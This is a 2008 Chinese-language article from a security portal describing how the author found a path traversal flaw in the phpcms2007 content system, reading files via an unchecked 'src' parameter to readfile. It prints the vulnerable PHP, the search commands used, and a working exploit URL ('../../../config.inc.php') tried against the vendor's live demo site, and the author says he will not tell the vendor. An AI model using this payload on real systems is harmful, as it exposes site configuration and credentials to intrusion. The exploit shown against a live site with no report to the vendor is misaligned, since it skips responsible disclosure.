通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
一次简单的php源代码泄露漏洞发掘
责任编辑:酷酷の鱼   更新日期:2008-4-14
 

来源:安全中国

我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿

这次我发掘的是phpcms2007的源代码泄露漏洞

再次向Phpcms2007的开源行为致敬!!

开始吧,

findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)

其他的文件操作函数可以自己定义查找

module\picture\show_pic.inc.php:8:readfile($file);

跟进这个文件看看吧,呵呵,比较小,我喜欢

[Copy to clipboard] [ - ]CODE:
<?php 
defined(’IN_PHPCMS’) or exit(’Access Denied’);
require PHPCMS_ROOT.’/module/’.$mod.’/include/common.inc.php’;
isset($src) or exit;
$file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’;
header("Content-type:image/pjpeg");
readfile($file);
?>
一路分析下。。。

先包含文件/module/’.$mod.’/include/common.inc.php

如果存在变量$src则赋予它路径并把值交给变量$file

然后就是就进入if

这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能

然后就header()一个图片头

呵呵,轻轻松松就readfile($file);

可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile

好吧,在这里漏洞是出现了

不过由于“defined(’IN_PHPCMS’) or exit(’Access Denied’);”,所以我们是无法直接利用这个漏洞文件的

只能是在其他包含这个文件的php文件中利用

继续吧

[Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt

picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
进去看看

[Copy to clipboard] [ - ]CODE:
<?php 
require "./config.inc.php";
require "../include/common.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了


那就测试吧

官方是演示站是

[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就这样构造url

[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件

直接访问

[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/show_pic.php?src=/../../../config.inc.php
呵呵,猜测没错!!

那我们可以先访问http://demo.phpcms.cn/抓包

用nc发包

get选项就设置为

[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了

测试结果如图

ok,就分析到这里了

希望大家不要利用这个做违法的事,嘿嘿!!

偶是坏孩子,不通知官方了~·好孩子去通知下。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司04月14日发布 每日计算机病毒及木马播报
    普通文章 企业安全扯淡之意识与策略
    推荐文章 推荐:企业安全扯淡之YY内网准入以及划分
    普通文章 关于public权限执行系统命令
    普通文章 关于<<二行代码解决全部网页木马>>的文章
    普通文章 一次简单的php源代码泄露漏洞发掘
    普通文章 利用Gmail插件Gmail Romote Command(GRC)远程控制电脑
    普通文章 Mysql5注射技巧总结
    普通文章 Cisco IOS的OSPF、Sup720或RSP720等拒绝服务漏洞
    普通文章 Microsoft SharePoint 服务器源码 HTML 注入漏洞
    热门文章
    普通文章映像劫持与反劫持技术
    普通文章虚拟影子系统 有效防止恶意程序
    普通文章迅雷状告超级兔子 蔡旋回应
    普通文章中国是"间谍软件"最大受害国之一 美国攻击最
    普通文章张家口网通管理后台口令简单 被非法进入
    普通文章七部委拟建违禁品网上交易黑名单
    普通文章详解IE8新增两项重要安全功能
    普通文章研究显示3%的互联网通讯是DDOS攻击数据
    普通文章浏览器Firefox十处漏洞 半数被评"危急"
    普通文章警惕:病毒将开始利用Real Player漏洞广泛传播
    精彩专题